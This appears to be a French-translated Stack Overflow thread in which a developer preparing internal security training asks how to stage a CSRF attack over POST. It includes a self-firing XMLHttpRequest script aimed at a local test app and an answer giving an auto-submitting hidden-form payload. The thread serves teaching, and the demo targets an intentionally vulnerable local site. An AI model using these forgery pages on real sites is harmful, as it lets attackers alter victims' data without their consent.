Comment démontrer une attaque CSRF

je fais une introduction à la sécurité web à d'autres personnes dans notre entreprise, et je veux montrer un exemple pour avoir plus d'impact.

Pour cela, j'ai créé un petit site web qui est vulnérable à cette attaque, ce site sera accessible uniquement sur notre réseau.

j'essaie maintenant d'exploiter cette attaque, mais j'ai une question:

Comment faire avec un formulaire postal?

Je n'ai aucun problème à faire cela avec une requête GET, mais avec un POST, j'essaie de le faire avec javascript, pas de problème si j'héberge mon code sur le même hôte, mais si je veux héberger mon code sur un autre hôte pour être plus réaliste, je suis bloqué parce que c'est une requête cross-domaine.

alors comment dois-je envoyer ces postvars?

Merci!

Voici mon code actuel:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>CSRF attack demo</title>
<script type="text/javascript">
function getHTTPObject() {
        var http = false;
        //Use IE's ActiveX items to load the file.
        if(typeof ActiveXObject != 'undefined') {
            try {http = new ActiveXObject("Msxml2.XMLHTTP");}
            catch (e) {
                try {http = new ActiveXObject("Microsoft.XMLHTTP");}
                catch (E) {http = false;}
            }
        //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document.
        } else if (window.XMLHttpRequest) {
            try {http = new XMLHttpRequest();}
            catch (e) {http = false;}
        }
        return http;
    }
function post_to_url(path, params, method) {
    method = method || "post"; // Set method to post by default, if not specified.

    // The rest of this code assumes you are not using a library.
    // It can be made less wordy if you use one.
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

    for(var key in params) {
        var hiddenField = document.createElement("input");
        hiddenField.setAttribute("type", "hidden");
        hiddenField.setAttribute("name", key);
        hiddenField.setAttribute("value", params[key]);

        form.appendChild(hiddenField);
    }

    document.body.appendChild(form);
    form.submit();
}

function postToUrlBackground(path, params){
    var http = getHTTPObject();

    http.open("POST", path, true);

    //Send the proper header information along with the request
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");

    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            //alert("Response received");
        }
    }
    http.send(params);
}
function TryAttack(){
    //alert("Sending");
    postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE");
    //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE"    );
    //alert("sent");
}
</script>
</head>
<body onload="TryAttack()">
<img src=image.png />
</body>
</html>
15
demandé sur J4N 2011-07-25 11:09:50

2 réponses

sur "l'autre hôte" (le attaquant) vous créez juste un FORM avec la méthode POST dont action (C.-à-d. où le formulaire est soumis) est votre application vulnérable. Ensuite vous présenter avec javascript sur cette page.

Comme ceci:

<html><body>
  <form name="csrf_form" action="http://VULNERABLE_APP/csrf.php" method="POST">
    <input type="hidden" name="csrf_param" value="POST_ATTACK">
  </form>

  <script type="text/javascript">document.csrf_form.submit();</script>
</body></html>

soumettre un POST à votre application vulnérable depuis l'hôte de l'attaquant, lorsque vous ouvrez cette page.

23
répondu e.dan 2018-08-23 22:06:17

les articles et exemples suivants devraient vous aider à Démo une attaque CSRF.

http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html

CSRF prévention

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

et cette question sur Stackoverflow. questions de base sur les témoins et les FCRR

11
répondu Nickz 2017-05-23 12:10:05